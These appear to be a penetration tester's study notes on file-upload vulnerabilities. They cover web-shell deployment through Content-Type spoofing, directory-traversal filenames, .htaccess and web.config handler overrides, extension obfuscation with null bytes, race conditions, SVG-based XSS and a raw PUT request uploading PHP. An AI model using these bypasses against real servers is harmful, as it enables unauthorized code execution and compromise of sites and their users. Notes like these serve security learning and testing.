Exploiting unrestricted file uploads to deploy a web shell

Try uploading script.php (server-side execution), .svg (client-side execution), .sh, .php5, .shtml, .js

Flawed file type validation

**If server checks Content-Type**: upload scripts with the expected Content-Type

Preventing file execution in user-accessible directories

**If server doesn’t execute the scripts:** try uploading the scripts in other directories (e.g., using directory traversal) with filename=”../script.php” or filename=”"..**%2f**script.php" (URL-encoded)

This is not possible with **UploadScanner**

Overriding the server configuration

Try uploading a .htaccess, /etc/apache2/apache2.conf (for Apache) or web.config (for IIS Server).

Filename=”.htaccess”

Content-Type: text/plain

(LoadModule php\_module /usr/lib/apache2/modules/libphp.so)

AddType application/x-httpd-php .l33t

(this maps .l33t to application/x-httpd-php, then upload the script with .l33t extension)

Analogously

Filename=“web.config“

Content-Type: text/plain

<staticContent>

<mimeMap fileExtension=".l33t" mimeType="application/x-httpd-php" />

</staticContent>

Obfuscating file extensions

**Obfucasting**: .php => .pHp / .php.jpg / .jpg.php / .php. / %2Ephp (URL-encoded or double encoded) / .php;.jpg / .php%00.jpg

**If the extension is stripped away**: .php => .p.phphp

Flawed validation of the file's contents

**If server checks the content of the file** => withJPGcontent.php (then find “START CODE EXECUTED END”)

Exploiting file upload race conditions

**If server temporarily saves the scripts, performs validation, then deletes** => race condition: lots of POST requests with Intruder, then GET with Repeater (or 1 POST and multiple GET with Turbo Intruder)

Uploading malicious client-side scripts

Try upload SVG, HTML files which use <script> tags to execute XSS

Uploading files using PUT

Try using **PUT-request**

PUT /images/exploit.php HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-httpd-php

Content-Length: 49

<?php echo ‘CODE EXECUTED’; ?>

Misc.

- Use Upload Scanner

- Test for file’s name (XSS), (really big) size

- Try uploading a file with the same name to override a critical existing file

- Try uploading arbitrarily many files

- Upload excel file with code